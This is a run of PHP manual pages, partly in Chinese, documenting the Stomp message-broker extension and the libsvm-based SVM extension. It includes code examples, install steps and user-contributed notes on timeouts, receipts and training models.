Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction in progress

  • ? Stomp::begin
  • Stomp::__construct ?
  • PHP Manual
  • Stomp
  • Commits a transaction in progress

Stomp::commit

stomp_commit

(PECL stomp >= 0.1.0)

Stomp::commit -- stomp_commit — Commits a transaction in progress

说明

面向对象风格 (method):

public Stomp::commit(string $transaction_id, array $headers = ?): bool

过程化风格:

stomp_commit(resource $link, string $transaction_id, array $headers = ?): bool

Commits a transaction in progress.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

transaction_id

The transaction id.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
$stomp->commit('t1');

/* close connection */
unset($stomp);

?>

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
stomp_commit($link, 't1');

/* close connection */
stomp_close($link);

?>

注释

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

There are no user contributed notes for this page.


打开连接

  • ? Stomp::commit
  • Stomp::__destruct ?
  • PHP Manual
  • Stomp
  • 打开连接

Stomp::__construct

stomp_connect

(PECL stomp >= 0.1.0)

Stomp::__construct -- stomp_connect — 打开连接

说明

面向对象风格 (constructor):

public Stomp::__construct(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
)

过程化风格:

stomp_connect(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
): resource

打开兼容 stomp 通讯协议的消息代理服务器的连接。

参数

broker

代理 URI

username

用户名。

password

密码。

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

更新日志

版本 | 说明
PECL stomp 1.0.1 | 增加 headers 参数

示例

Example #1 面向对象风格

<?php

/* 连接 */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* close connection */
unset($stomp);

?>

Example #2 过程化风格

<?php

/* 连接 */
$link = stomp_connect('ssl://localhost:61612');

/* 检查链接 */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* 关闭连接 */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Closes stomp connection

  • ? Stomp::__construct
  • Stomp::error ?
  • PHP Manual
  • Stomp
  • Closes stomp connection

Stomp::__destruct

stomp_close

(PECL stomp >= 0.1.0)

Stomp::__destruct -- stomp_close — Closes stomp connection

说明

面向对象风格 (destructor):

public Stomp::__destruct()

过程化风格:

stomp_close(resource $link): bool

Closes a previously opened connection.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

See stomp_connect().

User Contributed Notes

vanja at removethis dizyart period com 29-Oct-2018 04:11
Isn't it a little odd to have connect/disconnect in the constructor/destructor methods?
I have a case where the connection is presumably kept alive until the PHP process ends:

<?php
class MyStompWrapper {
    public function doSend()
    {
        $stomp = $this->connect(); // returns Stomp Object
        $stomp->send('/destination', 'message', []);
        $this->disconnect($stomp);
        // $stomp still exists in this scope, hence, the connection is alive
    }

    private function disconnect(\Stomp $stompObj)
    {
        // only unsets the local $stomp pointer, does not actually disconnect
        unset($stomp);
    }

    private function connect():\Stomp
    {
        // try-catch block omitted for example brevity
        return new Stomp('url', 'username', 'password');
    }
}
?>

This means that, in order to handle disconnecting, I have to create and destroy the Stomp object within the same scope.


Gets the last stomp error

  • ? Stomp::__destruct
  • Stomp::getReadTimeout ?
  • PHP Manual
  • Stomp
  • Gets the last stomp error

Stomp::error

stomp_error

(PECL stomp >= 0.1.0)

Stomp::error -- stomp_error — Gets the last stomp error

说明

面向对象风格 (method):

public Stomp::error(): string

过程化风格:

stomp_error(resource $link): string

Gets the last stomp error.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

返回值

Returns an error string or false if no error occurred.

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->error());

if (!$stomp->abort('unknown-transaction', array('receipt' => 'foo'))) {
var_dump($stomp->error());
}

/* close connection */
unset($stomp);

?>

以上示例的输出类似于：

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_error($link));

if (!stomp_abort($link, 'unknown-transaction', array('receipt' => 'foo'))) {
var_dump(stomp_error($link));
}

/* close connection */
stomp_close($link);

?>

以上示例的输出类似于：

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

User Contributed Notes

There are no user contributed notes for this page.


Gets read timeout

  • ? Stomp::error
  • Stomp::getSessionId ?
  • PHP Manual
  • Stomp
  • Gets read timeout

Stomp::getReadTimeout

stomp_get_read_timeout

(PECL stomp >= 0.3.0)

Stomp::getReadTimeout -- stomp_get_read_timeout — Gets read timeout

说明

面向对象风格 (method):

public Stomp::getReadTimeout(): array

过程化风格:

stomp_get_read_timeout(resource $link): array

Gets read timeout

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

返回值

Returns an array with 2 elements: sec and usec.

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getReadTimeout());

/* close connection */
unset($stomp);

?>

以上示例的输出类似于：

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_read_timeout($link));

/* close connection */
stomp_close($link);

?>

以上示例的输出类似于：

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp session ID

  • ? Stomp::getReadTimeout
  • Stomp::hasFrame ?
  • PHP Manual
  • Stomp
  • Gets the current stomp session ID

Stomp::getSessionId

stomp_get_session_id

(PECL stomp >= 0.1.0)

Stomp::getSessionId -- stomp_get_session_id — Gets the current stomp session ID

说明

面向对象风格 (method):

public Stomp::getSessionId(): string|false

过程化风格:

stomp_get_session_id(resource $link): string|false

Gets the current stomp session ID.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

返回值

string session id on success 或者在失败时返回 false.

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getSessionId());

/* close connection */
unset($stomp);

?>

以上示例的输出类似于：

string(35) "ID:php.net-52873-1257291895530-4:14"

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_session_id($link));

/* close connection */
stomp_close($link);

?>

以上示例的输出类似于：

string(35) "ID:php.net-52873-1257291895530-4:14"

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether or not there is a frame ready to read

  • ? Stomp::getSessionId
  • Stomp::readFrame ?
  • PHP Manual
  • Stomp
  • Indicates whether or not there is a frame ready to read

Stomp::hasFrame

stomp_has_frame

(PECL stomp >= 0.1.0)

Stomp::hasFrame -- stomp_has_frame — Indicates whether or not there is a frame ready to read

说明

面向对象风格 (method):

public Stomp::hasFrame(): bool

过程化风格:

stomp_has_frame(resource $link): bool

Indicates whether or not there is a frame ready to read.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

返回值

Returns true if a frame is ready to read, or false otherwise.

User Contributed Notes

ricks at panamax dot com 28-Sep-2016 05:54
Be aware that this function/method will block the caller, unless a frame is currently ready to be read. The duration of the block is the currently set read timeout.

The installation default for PECL Stomp read timeout is two seconds. Unless the associated ini file has been modified to override this value, or you have used the "set read timeout" function/method, the block time will be two seconds.


Reads the next frame

  • ? Stomp::hasFrame
  • Stomp::send ?
  • PHP Manual
  • Stomp
  • Reads the next frame

Stomp::readFrame

stomp_read_frame

(PECL stomp >= 0.1.0)

Stomp::readFrame -- stomp_read_frame — Reads the next frame

说明

面向对象风格 (method):

public Stomp::readFrame(string $class_name = "stompFrame"): stompframe

过程化风格:

stomp_read_frame(resource $link): array

Reads the next frame. It is possible to instantiate an object of a specific class, and pass parameters to that class's constructor.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

class_name

The name of the class to instantiate. If not specified, a stompFrame object is returned.

返回值

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

更新日志

版本 | 说明
Stomp 0.4.0 | class_name parameter was added.

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe('/queue/foo');

/* read a frame */
var_dump($stomp->readFrame());

/* close connection */
unset($stomp);

?>

以上示例的输出类似于：

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, '/queue/foo');

/* read a frame */
$frame = stomp_read_frame($link);

/* close connection */
stomp_close($link);

?>

以上示例的输出类似于：

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

hasan dot ucak at gmail dot com 29-Jan-2018 02:44
/* php.ini
[stomp]
stomp.default_connection_timeout_sec = 10
stomp.default_read_timeout_sec = 15

these values should not be left by default.
if queue server very busy and there is a lot message in queue ,
not respond to frame in two second.
*/

  try {
            $stomp = new Stomp(self::geturl, self::username, self::password,array('client-id'=> gethostname()."-".uniqid(mt_rand(), true)));

            $stomp->subscribe(self::getqueue, array('selector' => sprintf(self::selector, $queue_id)));

            /* read a frame */

            $frame = $stomp->readFrame();
            if ($frame) {
                $stomp->ack($frame);
                unset($stomp);
                return $frame;
            }
            unset($stomp);
            return false;
        } catch (StompException $e) {
            print ('Connection failed: ' . $e->getMessage());
            unset($stomp);
            return false;
        }

        /* close connection */
        unset($stomp);


Sends a message

  • ? Stomp::readFrame
  • Stomp::setReadTimeout ?
  • PHP Manual
  • Stomp
  • Sends a message

Stomp::send

stomp_send

(PECL stomp >= 0.1.0)

Stomp::send -- stomp_send — Sends a message

说明

面向对象风格 (method):

public Stomp::send(string $destination, mixed $msg, array $headers = ?): bool

过程化风格:

stomp_send(
resource $link,
string $destination,
mixed $msg,
array $headers = ?
): bool

Sends a message to the Message Broker.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

destination

Where to send the message

msg

Message to send.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

See stomp_ack().

注释

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

james dot mk dot green at gmail dot com 22-Aug-2011 04:14
Without a receipt header your application will fire messages potentially faster than the broker can receive them at. The broker may issue failure notices however STOMP being asynchronous your client won't get to see it.

Without a receipt ActiveMQ (5.5.0) with ProducerFlowControl turned on drops messages (even persistent ones) and my application knows nothing about it (send() returned true). With receipt header specified the STOMP library handles the wait for the receipt acknowledgement for you - you are essentially automatically throttled.


Sets read timeout

  • ? Stomp::send
  • Stomp::subscribe ?
  • PHP Manual
  • Stomp
  • Sets read timeout

Stomp::setReadTimeout

stomp_set_read_timeout

(PECL stomp >= 0.3.0)

Stomp::setReadTimeout -- stomp_set_read_timeout — Sets read timeout

说明

面向对象风格 (method):

public Stomp::setReadTimeout(int $seconds, int $microseconds = ?): void

过程化风格:

stomp_set_read_timeout(resource $link, int $seconds, int $microseconds = ?): void

Sets read timeout.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

返回值

没有返回值。

示例

Example #1 面向对象风格

<?php

/* connection */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Connection failed: ' . $e->getMessage());
}

$stomp->setReadTimeout(10);

/* close connection */
unset($stomp);

?>

Example #2 过程化风格

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
die('Connection failed: ' . stomp_connect_error());
}

stomp_set_read_timeout($link, 10);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Registers to listen to a given destination

  • ? Stomp::setReadTimeout
  • Stomp::unsubscribe ?
  • PHP Manual
  • Stomp
  • Registers to listen to a given destination

Stomp::subscribe

stomp_subscribe

(PECL stomp >= 0.1.0)

Stomp::subscribe -- stomp_subscribe — Registers to listen to a given destination

说明

面向对象风格 (method):

public Stomp::subscribe(string $destination, array $headers = ?): bool

过程化风格:

stomp_subscribe(resource $link, string $destination, array $headers = ?): bool

Registers to listen to a given destination.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

destination

Destination to subscribe to.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

See stomp_ack().

注释

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

holycd 27-Jul-2017 02:50
Using Topics from PHP over Stomp
$clientId = 'test:dev';
$topic  = '/topic/perm.user';

try {
    $stomp = new Stomp('tcp://localhost:61613','system','manager', array('client-id'=> $clientId ));
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$isSubscribe = $stomp->subscribe($topic);

while($isSubscribe){
    if ($stomp->hasFrame()) {
        $frame = $stomp->readFrame();
        if ($frame != NULL) {
            print "Received: " . $frame->body . " - time now is " . date("Y-m-d H:i:s"). "\n";
//            $stomp->ack($frame);
        }
//       sleep(1);
    }
    else {
        print "No frames to read\n";
    }
}
if($isSubscribe){
    $stomp->unsubscribe($topic);
    unset($stomp);
}

Can not receive the topic frame


Removes an existing subscription

  • ? Stomp::subscribe
  • StompFrame ?
  • PHP Manual
  • Stomp
  • Removes an existing subscription

Stomp::unsubscribe

stomp_unsubscribe

(PECL stomp >= 0.1.0)

Stomp::unsubscribe -- stomp_unsubscribe — Removes an existing subscription

说明

面向对象风格 (method):

public Stomp::unsubscribe(string $destination, array $headers = ?): bool

过程化风格:

stomp_unsubscribe(resource $link, string $destination, array $headers = ?): bool

Removes an existing subscription.

参数

link

仅对过程化样式：由 stomp_connect() 返回的 stomp 连接标识符。

destination

Subscription to remove.

headers

关联数组包含附加的头信息（例如： receipt）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

See stomp_ack().

注释

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

User Contributed Notes

There are no user contributed notes for this page.


The StompFrame class

(PECL stomp >= 0.1.0)

简介

Represents a message which was sent or received from a Stomp compliant Message Broker.

类摘要

class StompFrame {
/* 属性 */
public $command;
public $headers;
public $body;
/* 方法 */
__construct(string $command = ?, array $headers = ?, string $body = ?)
}

属性

command

Frame command.

headers

Frame headers (array).

body

Frame body.

Table of Contents

  • StompFrame::__construct — Constructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? StompFrame
  • StompException ?
  • PHP Manual
  • StompFrame
  • Constructor

StompFrame::__construct

(PECL stomp >= 0.1.0)

StompFrame::__construct — Constructor

说明

StompFrame::__construct(string $command = ?, array $headers = ?, string $body = ?)

Constructor.

参数

command

Frame command

headers

Frame headers (array).

body

Frame body.

User Contributed Notes

There are no user contributed notes for this page.


The StompException class

(PECL stomp >= 0.1.0)

简介

Represents an error raised by the stomp extension. See Exceptions for more information about Exceptions in PHP.

类摘要

class StompException extends Exception {
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
/* 方法 */
public getDetails(): string
}

Table of Contents

  • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


Get exception details

  • ? StompException
  • SVM ?
  • PHP Manual
  • StompException
  • Get exception details

StompException::getDetails

(PECL stomp >= 0.1.0)

StompException::getDetails — Get exception details

说明

public StompException::getDetails(): string

Get exception details.

参数

此函数没有参数。

返回值

string containing the error details.

User Contributed Notes

There are no user contributed notes for this page.


支持向量机

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 示例
  • SVM — The SVM class
    • SVM::__construct — Construct a new SVM object
    • SVM::crossvalidate — Test training params on subsets of the training data
    • SVM::getOptions — Return the current training parameters
    • SVM::setOptions — Set training parameters
    • SVM::train — Create a SVMModel based on training data
  • SVMModel — The SVMModel class
    • SVMModel::checkProbabilityModel — Returns true if the model has probability information
    • SVMModel::__construct — Construct a new SVMModel
    • SVMModel::getLabels — Get the labels the model was trained on
    • SVMModel::getNrClass — Returns the number of classes the model was trained with
    • SVMModel::getSvmType — Get the SVM type the model was trained with
    • SVMModel::getSvrProbability — Get the sigma value for regression types
    • SVMModel::load — Load a saved SVM Model
    • SVMModel::predict_probability — Return class probabilities for previous unseen data
    • SVMModel::predict — Predict a value for previously unseen data
    • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.


简介

LibSVM 是 SVM 分类和回归问题的有效解决方案。svm 扩展将其包装在 PHP 接口中，以便在 PHP 脚本中轻松使用。

User Contributed Notes

prawirayoga1 at gmail dot com 10-Jan-2017 10:00
make a tutorial implements svm in php for beginner, please. This is not easly understands yet.


需求

Libsvm 本身是必需的，而且可以通过一些包管理获得：基于 RPM 系统的是 libsvm-devel，基于 Debian 系统的是 libsvm-dev。也可以直接从网站上获得。如果从» 官网安装，则需要执行一些步骤，因为软件包不会自动安装。例如，假设最新版本是 3.1：

wget http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz
tar xvzf libsvm-3.1.tar.gz
cd libsvm-3.1
make lib
cp libsvm.so.1 /usr/lib
ln -s libsvm.so.1 libsvm.so
ldconfig
ldconfig --print | grep libsvm

最后一步应该显示 libsvm 已安装。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/svm

User Contributed Notes

veshraj dot joshi1 at gmail dot com 21-Dec-2017 10:37
This is note is only for mac OSX
You need to have pear and libsvm installed first ..

brew install libsvm

sudo pecl install -f svm

now you need to edit php.ini and append
extension=svm.so

restart you php server


示例

The basic process is to define parameters, supply training data to generate a model on, then make predictions based on the model. There are a default set of parameters that should get some results with most any input, so we'll start by looking at the data.

Data is supplied in either a file, a stream, or as an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

-1 1:0.43 3:0.12 9284:0.2

In a document classification problem, say a spam checker, each line would represent a document. There would be two classes, -1 for spam, 1 for ham. Each feature would represent some word, and the value would represent that importance of that word to the document (perhaps the frequency count, with the total scaled to unit length). Features that were 0 (e.g. the word did not appear in the document at all) would simply not be included.

In array mode, the data must be passed as an array of arrays. Each sub-array must have the class as the first element, then key => value sets for the feature values pairs.

This data is passed to the SVM class's train function, which will return an SVM model is successful.

Once a model has been generated, it can be used to make predictions about previously unseen data. This can be passed as an array to the model's predict function, in the same format as before, but without the label. The response will be the class.

Models can be saved and restored as required, using the save and load functions, which both take a file location.

Example #1 Train from array

<?php
$data = array(
array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');
?>

以上示例的输出类似于：

int(-1)

Example #2 Train from a file

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
?>

User Contributed Notes

razvan_bc at yahoo dot com 04-Nov-2022 01:13
the example rated negative rated by the guy sign  "6765419 at qq dot com"  also works too!

<?php
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1  表示男生，key 1表示身高，key 2表示体重=Represents a boy, key 1 represents height, key 2 represents weight
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1  表示女生，key 1表示身高，key 2表示体重=Represents a girl, key 1 represents height, key 2 represents weight
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//测试数据 =Test Data
$result = $model->predict($data);
echo var_dump($result);//echo var_export($result);
//return;
?>

so i got :

float(-1)
razvan_bc at yahoo dot com 04-Nov-2022 09:03
ok i did more tests..

getting the source
https://github.com/ianbarber/php-svm/blob/master/tests/002_predict.phpt  modified ..
<?php
$svm = new svmmodel();
//$result = $svm->load(dirname(__FILE__) . '/australian.model');
$result = $svm->load('australian.model');

if($result) {
    $data = array(
        "1" => 1,
        2 => -0.731729,
        3 => -0.886786,
        4 => -1,
        5 => 0.230769,
        "6" => -0.25,
        7 => -0.783509,
        8 => 1,
        9 => 1,
        10 => "-0.820896",
        11 => -1,
        13 => -0.92,
        "14" => "-1"
    );
    $result = $svm->predict($data);
    if($result > 0) {
        echo "ok";
        print_r($result);
    } else {
        echo "predict failed: $result";
    }
} else {
    echo "loading failed";
}
?>

with additional https://github.com/ianbarber/php-svm/blob/master/tests/australian.scale dropped inside the test folder where .php file is located i am able after running to get the result:
================================

ok1

so it's work
razvan_bc at yahoo dot com 04-Nov-2022 08:41
i forgot a detail!
the installation folders if you think to install it manually in windows xampp should be  c:\xampp\php\lib\libsvm-3.1 (for the files i described in the first post) and extension in c:\xampp\php\ext (php_svm.dll)

works.good luck
razvan_bc at yahoo dot com 04-Nov-2022 08:33
from pecl.php.net i download svm php_svm-0.2.3-8.1-ts-vs16-x64.zip so i read in README.md ..

=====================================================
Data is supplied in either a file, a stream, or as an an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

    -1 1:0.43 3:0.12 9284:0.2

=====================================================

so creating traindata.txt with the content  -1 1:0.43 3:0.12 9284:0.2 leads me to use it in the second example:

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
$model->save('model2.svm');
?>

and running and editing the model2.svm i got the content:
-------------------------------------------------------------------
svm_type c_svc
kernel_type rbf
gamma 0.00010771219302024989
nr_class 1
total_sv 0
rho
label -1
nr_sv 0
SV
--------------------------------------------------------------------

so yes i think it's work, how i said i need to do more tests to get control with main functions to think to other more complicated
razvan_bc at yahoo dot com 04-Nov-2022 08:24
premises:php 8.1 ,windows 64
----------------------------------

install (for beginners)
--------
after i visit https://github.com/ianbarber/php-svm

and i got from url found on page(install script)
..  http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz

and manual install it:
1.php.ini
 (after the main group extension=... about 12 pieces)
...
extension=svm
...

2.I put manually inside php a folder called libsvm-3.1 then i unzip there libsvm.dll , libsvmread.mexw64 ,libsvmwrite.mexw64 , svmpredict.mexw64 , svm-predict.exe, svm-scale.exe , svm-toy.exe , svmtrain.mexw64, svm-train.exe !

running
<?php

$data = array(
    array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
    array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');

?>

via server(apache ,php,mariadb;even custom or xampp) now i got results:
i got model.svm with the content
================================
svm_type c_svc
kernel_type rbf
gamma 0.00010771219302024989
nr_class 2
total_sv 2
rho 0
label 1 -1
nr_sv 1 1
SV
1 1:0.22 5:0.01 94:0.11
-1 1:0.43 3:0.12 9284:0.2
=================================

so i think is very cool ..for a startup.
i will look around phpt files from github to understand why in yesterday's tests i got errors with some function witch require 2 parameters and not one like in the manual
6765419 at qq dot com 02-Nov-2013 08:49
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1表示男生，key 1表示身高，key 2表示体重
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1表示女生，key 1表示身高，key 2表示体重
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//测试数据
$result = $model->predict($data);
echo var_export($result);
return;


The SVM class

(PECL svm >= 0.1.0)

简介

类摘要

class SVM {
/* 常量 */
const int C_SVC = 0;
const int NU_SVC = 1;
const int ONE_CLASS = 2;
const int EPSILON_SVR = 3;
const int NU_SVR = 4;
const int KERNEL_LINEAR = 0;
const int KERNEL_POLY = 1;
const int KERNEL_RBF = 2;
const int KERNEL_SIGMOID = 3;
const int KERNEL_PRECOMPUTED = 4;
const int OPT_TYPE = 101;
const int OPT_KERNEL_TYPE = 102;
const int OPT_DEGREE = 103;
const int OPT_SHRINKING = 104;
const int OPT_PROPABILITY = 105;
const int OPT_GAMMA = 201;
const int OPT_NU = 202;
const int OPT_EPS = 203;
const int OPT_P = 204;
const int OPT_COEF_ZERO = 205;
const int OPT_C = 206;
const int OPT_CACHE_SIZE = 207;
/* 方法 */
public __construct()
public svm::crossvalidate(array $problem, int $number_of_folds): float
public getOptions(): array
public setOptions(array $params): bool
public svm::train(array $problem, array $weights = ?): SVMModel
}

预定义常量

SVM Constants

SVM::C_SVC

The basic C_SVC SVM type. The default, and a good starting point

SVM::NU_SVC

The NU_SVC type uses a different, more flexible, error weighting

SVM::ONE_CLASS

One class SVM type. Train just on a single class, using outliers as negative examples

SVM::EPSILON_SVR

A SVM type for regression (predicting a value rather than just a class)

SVM::NU_SVR

A NU style SVM regression type

SVM::KERNEL_LINEAR

A very simple kernel, can work well on large document classification problems

SVM::KERNEL_POLY

A polynomial kernel

SVM::KERNEL_RBF

The common Gaussian RBD kernel. Handles non-linear problems well and is a good default for classification

SVM::KERNEL_SIGMOID

A kernel based on the sigmoid function. Using this makes the SVM very similar to a two layer sigmoid based neural network

SVM::KERNEL_PRECOMPUTED

A precomputed kernel - currently unsupported.

SVM::OPT_TYPE

The options key for the SVM type

SVM::OPT_KERNEL_TYPE

The options key for the kernel type

SVM::OPT_DEGREE

SVM::OPT_SHRINKING

Training parameter, boolean, for whether to use the shrinking heuristics

SVM::OPT_PROBABILITY

Training parameter, boolean, for whether to collect and use probability estimates

SVM::OPT_GAMMA

Algorithm parameter for Poly, RBF and Sigmoid kernel types.

SVM::OPT_NU

The option key for the nu parameter, only used in the NU_ SVM types

SVM::OPT_EPS

The option key for the Epsilon parameter, used in epsilon regression

SVM::OPT_P

Training parameter used by Episilon SVR regression

SVM::OPT_COEF_ZERO

Algorithm parameter for poly and sigmoid kernels

SVM::OPT_C

The option for the cost parameter that controls tradeoff between errors and generality - effectively the penalty for misclassifying training examples.

SVM::OPT_CACHE_SIZE

Memory cache size, in MB

Table of Contents

  • SVM::__construct — Construct a new SVM object
  • SVM::crossvalidate — Test training params on subsets of the training data
  • SVM::getOptions — Return the current training parameters
  • SVM::setOptions — Set training parameters
  • SVM::train — Create a SVMModel based on training data

User Contributed Notes

